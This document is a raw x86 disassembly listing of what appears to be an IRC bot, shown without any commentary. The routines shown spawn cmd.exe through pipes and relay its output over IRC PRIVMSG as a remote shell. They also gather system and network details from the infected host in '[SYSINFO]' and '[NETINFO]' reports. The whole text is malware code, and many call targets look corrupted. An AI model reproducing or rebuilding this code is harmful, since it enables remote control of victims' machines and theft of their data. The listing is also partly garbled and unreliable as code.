jle short loc_40B26C
loc_40B252: ; CODE XREF: sub_40B112+158j
call sub_41730C
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40B252
loc_40B26C: ; CODE XREF: sub_40B112+13Ej
; sub_40B112+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40B2CB
push 0Bh
pop esi
loc_40B279: ; CODE XREF: sub_40B112+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41730C
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43F6CC
push [ebp+var_28]
nop
call near ptr 25F0439h
dec esi
jnz short loc_40B279
cmp [ebp+var_24], edi
jnz short loc_40B26C
call sub_41730C
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43F668
mov [ebp+var_E], ax
jmp short loc_40B26C
; ---------------------------------------------------------------------------
loc_40B2CB: ; CODE XREF: sub_40B112+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42DB10
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B30B
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40D679
add esp, 14h
loc_40B30B: ; CODE XREF: sub_40B112+1D7j
lea eax, [ebp+var_334]
push eax
call sub_40BF6D
push [ebp+var_20]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 25E02EAh
sub_40B112 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap
; sub_40B390+7Ep ...
mov eax, dword_43F9B4
push esi
mov esi, dword_424078
cmp eax, 0FFFFFFFFh
jz short loc_40B33C
push eax
call esi
loc_40B33C: ; CODE XREF: sub_40B328+Fj
mov eax, dword_43F9BC
cmp eax, 0FFFFFFFFh
jz short loc_40B349
push eax
call esi
loc_40B349: ; CODE XREF: sub_40B328+1Cj
mov eax, dword_43F9B0
cmp eax, 0FFFFFFFFh
jz short loc_40B356
push eax
call esi
loc_40B356: ; CODE XREF: sub_40B328+29j
pop esi
retn
sub_40B328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap
; sub_40EE72+4883p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_417AB0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43F9B8
nop
call near ptr 2620000h
test eax, eax
jnz short loc_40B38B
call sub_40B328
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B38B: ; CODE XREF: sub_40B358+28j
push 1
pop eax
leave
retn
sub_40B358 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B390 proc near ; CODE XREF: sub_40B417+D3p
; sub_40B417+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43C80C
push [ebp+arg_4]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B3D3
push 7D0h
call near ptr 25F0439h
nop
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_4172B0
add esp, 10h
jmp short loc_40B3EA
; ---------------------------------------------------------------------------
loc_40B3D3: ; CODE XREF: sub_40B390+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_4172B0
add esp, 0Ch
loc_40B3EA: ; CODE XREF: sub_40B390+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43F6B8
test eax, eax
jg short loc_40B413
call sub_40B328
loc_40B413: ; CODE XREF: sub_40B390+7Cj
xor eax, eax
leave
retn
sub_40B390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B417 proc near ; DATA XREF: sub_40B56C+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43F9C0
loc_40B42F: ; CODE XREF: sub_40B417+79j
; sub_40B417+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43F9B4
call near ptr 276046Bh
nop
test eax, eax
jz loc_40B4FD
cmp [ebp+var_4], edi
jnz short loc_40B492
lea eax, [ebp+var_8]
push eax
push dword_43F9B0
call near ptr 2760000h
nop
test eax, eax
jz short loc_40B488
cmp [ebp+var_8], 103h
jnz loc_40B521
loc_40B488: ; CODE XREF: sub_40B417+62j
push 0Ah
call near ptr 25F0439h
nop
jmp short loc_40B42F
; ---------------------------------------------------------------------------
loc_40B492: ; CODE XREF: sub_40B417+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40B4A9
loc_40B499: ; CODE XREF: sub_40B417+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40B4F7
inc eax
cmp eax, [ebp+var_4]
jb short loc_40B499
loc_40B4A9: ; CODE XREF: sub_40B417+80j
mov [ebp+var_4], esi
loc_40B4AC: ; CODE XREF: sub_40B417+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43F9B4
nop
call near ptr 2611183h
test eax, eax
jz short loc_40B549
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43F9F4
call sub_40B390
add esp, 0Ch
jmp loc_40B42F
; ---------------------------------------------------------------------------
loc_40B4F7: ; CODE XREF: sub_40B417+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40B4AC
; ---------------------------------------------------------------------------
loc_40B4FD: ; CODE XREF: sub_40B417+45j
push offset dword_42DC0C
push ebx
push dword_43F9F4
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push 1
nop
call near ptr 25E02EAh
loc_40B521: ; CODE XREF: sub_40B417+6Bj
call sub_40B328
push offset dword_42DBD4
push ebx
push dword_43F9F4
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push edi
nop
call near ptr 25E02EAh
loc_40B549: ; CODE XREF: sub_40B417+C3j
push offset dword_42DB94
push ebx
push dword_43F9F4
call sub_40B390
push [ebp+arg_0]
call sub_417078
add esp, 10h
push edi
nop
call near ptr 25E02EAh
sub_40B417 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B56C proc near ; CODE XREF: sub_40C351+99p
; sub_40EE72+5774p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40B328
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43F724
test eax, eax
jz loc_40B666
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_424140
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_40B666
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_40B666
mov edi, dword_42413C
push 3
push esi
push esi
push offset dword_43F9B8
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 27607E9h
test eax, eax
jz short loc_40B666
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417330
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417330
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43C80C
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 274056Fh
nop
test eax, eax
jnz short loc_40B66E
loc_40B666: ; CODE XREF: sub_40B56C+2Fj
; sub_40B56C+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40B71C
; ---------------------------------------------------------------------------
loc_40B66E: ; CODE XREF: sub_40B56C+F8j
push [ebp+var_4]
mov edi, dword_424078
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43F9B4, eax
mov eax, [ebp+var_8]
mov dword_43F9BC, eax
mov eax, [ebp+var_2C]
mov dword_43F9B0, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43F9F4, eax
jz short loc_40B6A8
push [ebp+arg_4]
jmp short loc_40B6A9
; ---------------------------------------------------------------------------
loc_40B6A8: ; CODE XREF: sub_40B56C+135j
push ebx
loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj
push offset dword_43F9C0
call sub_4172B0
pop ecx
pop ecx
push esi
push 7
push offset dword_42DC90
call sub_416D5C
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_4450C8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40B417
push esi
push esi
nop
call near ptr 2660D4Bh
cmp eax, esi
mov dword_4450D4[edi], eax
jnz short loc_40B71A
nop
call near ptr 2630313h
push eax
lea eax, [ebp+var_378]
push offset dword_42DC4C
push eax
call sub_4172B0
lea eax, [ebp+var_378]
push eax
call sub_40BF6D
add esp, 10h
loc_40B71A: ; CODE XREF: sub_40B56C+185j
xor eax, eax
loc_40B71C: ; CODE XREF: sub_40B56C+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40B56C endp
; =============== S U B R O U T I N E =======================================
sub_40B721 proc near ; CODE XREF: sub_407110+74p
; sub_40B8D8+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 25E08E4h
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_43F9FC
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41782A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40B721 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B78A proc near ; CODE XREF: sub_409037+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 2771415h
test eax, eax
jz short loc_40B81D
cmp [ebp+var_90], 4
jnz short loc_40B7F3
cmp [ebp+var_8C], esi
jnz short loc_40B7DB
cmp [ebp+var_84], 1
jnz short loc_40B7CE
push 1
pop esi
loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj
cmp [ebp+var_84], 2
jnz short loc_40B81D
push 1
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B7DB: ; CODE XREF: sub_40B78A+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_40B7E8
loc_40B7E4: ; CODE XREF: sub_40B78A+78j
push 2
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B7E8: ; CODE XREF: sub_40B78A+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_40B81D
jmp short loc_40B80D
; ---------------------------------------------------------------------------
loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej
cmp [ebp+var_90], 5
jnz short loc_40B81D
cmp [ebp+var_8C], esi
jz short loc_40B7E4
cmp [ebp+var_8C], 1
jnz short loc_40B811
loc_40B80D: ; CODE XREF: sub_40B78A+67j
push 3
jmp short loc_40B81C
; ---------------------------------------------------------------------------
loc_40B811: ; CODE XREF: sub_40B78A+81j
cmp [ebp+var_8C], 2
jnz short loc_40B81D
push 7
loc_40B81C: ; CODE XREF: sub_40B78A+4Fj
; sub_40B78A+5Cj ...
pop esi
loc_40B81D: ; CODE XREF: sub_40B78A+25j
; sub_40B78A+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_40B78A endp
; =============== S U B R O U T I N E =======================================
sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_40B82A: ; CODE XREF: sub_40B822+2Fj
; sub_40B822+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 25F0439h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_419250
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40B82A
jb short loc_40B859
cmp ebx, esi
ja short loc_40B82A
loc_40B859: ; CODE XREF: sub_40B822+31j
push 0
push 64h
push edi
push ebx
call sub_4191D0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40B8CC
jb short loc_40B878
cmp esi, 50h
jnb short loc_40B87D
loc_40B878: ; CODE XREF: sub_40B822+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40B87D: ; CODE XREF: sub_40B822+54j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B888
cmp esi, 47h
jnb short loc_40B88D
loc_40B888: ; CODE XREF: sub_40B822+5Fj
push 42h
xor edx, edx
pop eax
loc_40B88D: ; CODE XREF: sub_40B822+64j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B898
cmp esi, 37h
jnb short loc_40B89D
loc_40B898: ; CODE XREF: sub_40B822+6Fj
push 32h
xor edx, edx
pop eax
loc_40B89D: ; CODE XREF: sub_40B822+74j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8A8
cmp esi, 26h
jnb short loc_40B8AD
loc_40B8A8: ; CODE XREF: sub_40B822+7Fj
push 21h
xor edx, edx
pop eax
loc_40B8AD: ; CODE XREF: sub_40B822+84j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8B8
cmp esi, 1Eh
jnb short loc_40B8BD
loc_40B8B8: ; CODE XREF: sub_40B822+8Fj
push 19h
xor edx, edx
pop eax
loc_40B8BD: ; CODE XREF: sub_40B822+94j
test ecx, ecx
ja short loc_40B8CC
jb short loc_40B8C8
cmp esi, 0Ah
jnb short loc_40B8CC
loc_40B8C8: ; CODE XREF: sub_40B822+9Fj
xor eax, eax
xor edx, edx
loc_40B8CC: ; CODE XREF: sub_40B822+4Dj
; sub_40B822+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40B822 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43C80C
mov [ebp+var_CC], 94h
nop
call near ptr 2771415h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40B95F
cmp [ebp+var_C4], ebx
jnz short loc_40B93B
cmp [ebp+var_BC], 1
jnz short loc_40B925
mov [ebp+var_4], offset a95 ; "95"
loc_40B925: ; CODE XREF: sub_40B8D8+44j
cmp [ebp+var_BC], 2
jnz loc_40B9DA
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40B9AB
; ---------------------------------------------------------------------------
loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40B94D
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40B99B
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B95F: ; CODE XREF: sub_40B8D8+33j
cmp [ebp+var_C8], 5
jnz short loc_40B99B
cmp [ebp+var_C4], ebx
jnz short loc_40B979
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B979: ; CODE XREF: sub_40B8D8+96j
cmp [ebp+var_C4], 1
jnz short loc_40B98B
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40B9A2
; ---------------------------------------------------------------------------
loc_40B98B: ; CODE XREF: sub_40B8D8+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40B9A2
loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj
; sub_40B8D8+8Ej
mov [ebp+var_4], offset dword_42DDDC
loc_40B9A2: ; CODE XREF: sub_40B8D8+73j
; sub_40B8D8+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40B9DA
loc_40B9AB: ; CODE XREF: sub_40B8D8+61j
cmp [ebp+var_B8], bl
jz short loc_40B9DA
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42DDD4
push eax
call sub_4172B0
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40B9DA: ; CODE XREF: sub_40B8D8+54j
; sub_40B8D8+D1j ...
mov ax, word_42DDD0
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_43F554
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40BA13
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj
push [ebp+arg_4]
call sub_40AEE0
pop ecx
push eax
call dword_43F6A8
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43F620
cmp eax, ebx
jz short loc_40BA3C
push dword ptr [eax]
jmp short loc_40BA41
; ---------------------------------------------------------------------------
loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40BA41: ; CODE XREF: sub_40B8D8+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 25F048Fh
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 2660000h
nop
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 2650000h
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2780000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4192B8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40D12A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40B721
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
call sub_40B822
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41782A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40B8D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB8C proc near ; CODE XREF: sub_40EE72+4557p
; sub_40EE72+5A1Fp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417330
add esp, 0Ch
cmp dword_43F750, 0
jnz short loc_40BBF8
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_43F538
test eax, eax
jnz short loc_40BBE1
lea eax, [ebp+var_8C]
push offset dword_42DE50
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40BBE1: ; CODE XREF: sub_40BB8C+40j
test [ebp+var_C], 1
jz short loc_40BBEE
push offset dword_42DE48
jmp short loc_40BBF3
; ---------------------------------------------------------------------------
loc_40BBEE: ; CODE XREF: sub_40BB8C+59j
push offset off_42DE44
loc_40BBF3: ; CODE XREF: sub_40BB8C+60j
lea eax, [ebp+var_8]
jmp short loc_40BC10
; ---------------------------------------------------------------------------
loc_40BBF8: ; CODE XREF: sub_40BB8C+28j
mov esi, offset off_42DE40
lea eax, [ebp+var_8]
push esi
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41782A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40BB8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC4B proc near ; DATA XREF: sub_40EE72+4976o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42DF80
call sub_417330
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_417330
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_417330
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_417330
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_417330
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43F570
test eax, eax
jz loc_40BDE5
cmp [ebp+var_34], ebx
jbe short loc_40BD22
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD22: ; CODE XREF: sub_40BC4B+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40BD40
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD40: ; CODE XREF: sub_40BC4B+DEj
cmp [ebp+var_20], ebx
jbe short loc_40BD5A
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j
cmp [ebp+var_18], ebx
jbe short loc_40BD74
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_418C10
add esp, 0Ch
loc_40BD74: ; CODE XREF: sub_40BC4B+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43F618
call dword_43F63C
mov esi, eax
cmp esi, ebx
jz short loc_40BDFD
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43F630
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40BE04
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43F5E4
test eax, eax
jz short loc_40BDDE
push offset dword_42DF54
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj
push offset unk_42DF08
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j
lea eax, [ebp+var_55C]
push offset dword_42DEDC
push eax
call sub_4172B0
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40BE17
; ---------------------------------------------------------------------------
loc_40BDFD: ; CODE XREF: sub_40BC4B+153j
push offset unk_42DEA0
jmp short loc_40BE09
; ---------------------------------------------------------------------------
loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj
push offset unk_42DE60
loc_40BE09: ; CODE XREF: sub_40BC4B+191j
; sub_40BC4B+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40BE42
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_40D679
add esp, 14h
loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40BF6D
pop ecx
push esi
call dword_43F69C
push [ebp+var_4]
call dword_43F69C
push [ebp+var_1D8]
call sub_417078
pop ecx
push ebx
nop
